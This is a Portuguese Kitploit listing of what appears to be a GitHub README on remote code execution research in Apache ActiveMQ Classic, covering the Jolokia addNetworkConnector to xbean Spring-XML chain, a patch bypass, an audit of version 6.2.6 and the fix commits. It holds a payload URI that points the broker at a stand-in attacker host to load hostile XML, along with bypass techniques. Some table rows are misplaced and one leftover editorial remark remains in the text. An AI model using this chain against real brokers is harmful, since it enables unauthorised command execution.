Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
apache-activemq-rce-research — Pesquisa de RCE no Apache ActiveMQ Classic: cadeia de bypass dos CVE-2026-34197 / CVE-2026-42588 + resultados da auditoria do hardened-6.2.6 + comparação com Crowdfense | Kitploit
Ferramentas/GitHubGitHub/dinosn/apache-activemq-rce-research
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoPapers e PesquisaAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubdinosn/apache-activemq-rce-research

apache-activemq-rce-research

Pesquisa de RCE no Apache ActiveMQ Classic: cadeia de bypass dos CVE-2026-34197 / CVE-2026-42588 + resultados da auditoria do hardened-6.2.6 + comparação com Crowdfense

Ver Repositório
846há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Apache ActiveMQ Classic — Pesquisa de RCE

Arquivo privado de pesquisa para a cadeia de execução remota de código Jolokia → addNetworkConnector → xbean/Spring-XML do Apache ActiveMQ Classic (CVE-2026-34197 e sua bypass do patch CVE-2026-42588), além de uma auditoria completa de auto-pesquisa da versão corrigida 6.2.6 e uma comparação lado a lado com o artigo público de bypass do Crowdfense.

Toda exploração foi realizada contra brokers de laboratório local (Docker / auto-hospedados). Os payloads usam hosts atacantes provisórios.


Conteúdo

DirFaseConteúdo
00-comparison-vs-crowdfense.mdComparaçãoNosso trabalho vs. o artigo "ActiveMQ RCE Bypass" do Crowdfense, verificado na fonte em arquivo:linha
01-original-cve-2026-34197/Reprodução originalAnálise + scripts PoC + payloads Spring-XML (lab: activemq-classic:5.18.6)
02-reaudit-apr30/Matriz de versõesuid=0 em 5.18.3 / 5.18.6 / 6.1.4 / 6.1.7; avaliação + PoC + version-matrix.sh
03-reaudit-42588-42253/Bypass ao vivoBypass composto sem parênteses (42588) + XSS no MessageServlet (42253), reproduzido ao vivo
04-audit-6.2.6/Auditoria completaAuditoria automática de pesquisa do 6.2.6 reforçado: relatório final + registro de descobertas

Árvores de fonte do fornecedor e distribuições binárias usadas durante os laboratórios são intencionalmente excluídas (são upstream, não nossas).


A vulnerabilidade em uma linha

Um chamador autenticado (não autenticado nas versões 6.0.0–6.1.1 via CVE-2024-32114) do Jolokia invoca BrokerView.addNetworkConnector(uri) com uma URI de descoberta manipulada cujo interior vm://…?brokerConfig=xbean:<url> força o broker a carregar um Spring XML controlado pelo atacante, que instancia ansiosamente um bean ProcessBuilder antes da validação pelo broker → execução de comando no sistema operacional.

root@kitploit:~
POST /api/jolokia/  →  BrokerView.addNetworkConnector(String)
  →  static:(vm://evil?brokerConfig=xbean:http://ATTACKER/evil.xml)
  →  VMTransportFactory dynamic broker creation  →  XBeanBrokerFactory
  →  ResourceXmlApplicationContext loads Spring XML  →  ProcessBuilder bean  →  RCE

Descobertas

Manchete: três descobertas são comprovadas ao vivo para root/XSS; a auditoria 6.2.6 adiciona um conjunto mais amplo que é verificado na fonte e julgado adversarialmente, mas ainda não detonado ao vivo. Nenhuma das extras do 6.2.6 é um novo RCE não autenticado — o fornecedor fechou essas portas; o risco residual mudou para autorização e codificação de saída.

Cadeia de exploração comprovada

IDDescobertaClasseSeveridadeAutenticaçãoProva
CVE-2026-34197Jolokia addNetworkConnector → xbean Spring-XML RCERCECríticoPós-autenticação (não autenticado 6.0.0–6.1.1)Ao vivo — uid=0 no 5.18.3 / 5.18.6 / 6.1.4 / 6.1.7
CVE-2026-42588Bypass composto sem parênteses da lista de negação do 34197RCE (bypass de patch)CríticoPós-autenticaçãoAo vivo — uid=0 no 5.19.6 com patch 34197 + 6.2.0
CVE-2026-42253Injeção de cabeçalho MessageServlet → XSS armazenadoInjeção / XSSMédioPós-autenticaçãoAo vivo no 6.2.0

Novos da auditoria 6.2.6 (verificado na fonte)

IDDescobertaClasseSeveridadeAutenticaçãoNotas
C1static: lacuna na lista de negação → SSRF — static ausente de DENIED_TRANSPORT_SCHEMES; addNetworkConnector("static:(tcp://…)") → TCP de broker de saídaSSRFMédioAdmin / JMXVariante de sink além da mesma lista de negação 34197/42588 que o artigo cobre
B1Exclusão IDOR de assinatura durável entre clientId — removeSubscription chaveia no clientId fornecido pela rede e não tem portão em AuthorizationBrokerBroken authz / IDORMédioPós-autenticação (pré-autenticação se a autenticação do broker estiver desligada)O mais limpo novo
B3Senha vazia → bind anônimo no LDAP (LDAPLoginModule, sem proteção contra vazio)Bypass de autenticaçãoMédio (cond.)Pré-autenticaçãoCondicional no diretório aceitar binds anônimos
A1–A7Família de injeção de codificação de saída no console — MessageId.textView (OpenWire v10+ & AMQP) controlado pelo atacante sem escape em ~7 sinks JSP/REST + path-traversal em FileSystemBlobStrategyInjeçãoBaixo–MédioProdutor → adminProtegido por CSP para HTML/injeção de conteúdo por padrão
B2Escalação de verbo por injeção de dois-pontos no Shiro WildcardPermissionEscalação de privilégioBaixo–MédioPós-autenticaçãoShiro não padrão
B3 (já existe)(repetido? A lista original tem B4, B5, etc. Na tabela fornecida, após B3 vem B2, depois B4. Vou seguir a ordem da entrada.)
B4Assimetria de autorização para destinos temporários — falha aberta vs. falha fechada para não temporáriosBroken authzBaixoPós-autenticaçãoPor design (AMQ-4721); nota de reforço

Fora do escopo — DoS (catalogado, não manchete)

MQTT QoS ordinal AIOOBE (QoS.values()[ordinal], cross-protocol, sem configuração) · OpenWireFormat.DEFAULT_MAX_FRAME_SIZE = Long.MAX_VALUE · NegativeArraySizeException de short com sinal no unmarshal OpenWire · trabalho imortal AMQ_SCHEDULED_REPEAT negativo.


Comparação com o artigo do Crowdfense

O artigo Apache ActiveMQ RCE Bypass do Crowdfense cobre a mesma cadeia (eles a registram sob CVE-2026-34197; nós rastreamos o bypass como seu próprio CVE-2026-42588). Ambos os relatos convergem em uma defesa de três camadas; a única divergência é Camada 2.

CamadaDefesaCrowdfense derrota porNós derrotamos por
1Lista de negação de esquema (correção 34197)Composto sem parênteses static:vm://…Mesmo — encontrado independentemente ✅
2Lista de permissão xbean {file,classpath} (#1910)file:%2f%2f… com codificação percentual → Windows UNC → WebDAV → busca HTTP remotaArquivo local xbean:/tmp/evil.xml (precisa de escrita local)
3Gate de esquema VMTransportFactory (broker,properties, a correção 42588 / 6.2.6)Reconhecido como o golpe finalMesma conclusão ✅

A única lacuna: o truque de codificação percentual + UNC/WebDAV da Camada 2 deles alcança entrega totalmente remota sem primitiva de escrita local. A falha do classificador que ele abusa (activemq-spring/Utils.java:123-129, um startsWith("file://") bruto na string não decodificada) está presente na nossa fonte exata — mas a metade remota é apenas para Windows (Linux trata //host/share como um caminho local), e nosso laboratório era Linux, então não era exequível lá. Está morta no 6.2.6 de qualquer forma (o gate de esquema VMTransportFactory rejeita xbean antes que Utils execute).

Acompanhamento: um 5.19.6 hospedado no Windows (ou qualquer build anterior a 5.19.7/6.2.6) + ouvinte SMB/WebDAV nos permitiria demonstrar o bypass da lista de permissão totalmente remoto — a única capacidade que o artigo tem que nosso engajamento não mostrou.


Correção (ActiveMQ 6.2.6)

Três commits fecham a cadeia: c1b44af11 (validar URIs compostas sem parênteses — parseComposite incondicionalmente + recursão), c2fc7a1d6 (bloquear XBeanBrokerFactory por padrão via lista de permissão de esquema VMTransportFactory) e be8415f24 (reforço de configuração de exemplo: Jolokia para loopback, lista de negação de operação com addNetworkConnector).

Baixar ferramenta
B5
StatisticsBroker replyTo pula ACL de escrita quando plugin ordenado antes da autorização
Broken authz
Baixo
Pós-autenticação
Depende da ordem de configuração
B6DN não canônico no login com certificado (getSubjectDN().getName()) → colisão de identidade entre certificados da mesma CAAutenticaçãoBaixoPré-autenticação (validado por TLS)Qualquer certificado autoassinado não funciona
B7Spoofing de JMSXUserID quando populateJMSXUserID=false (o padrão)SpoofingBaixoPós-autenticação—
F5Nome de cabeçalho de saída STOMP nunca escapado → injeção de frame para assinante co-locatárioInjeçãoBaixoCross-protocolSTOMP habilitado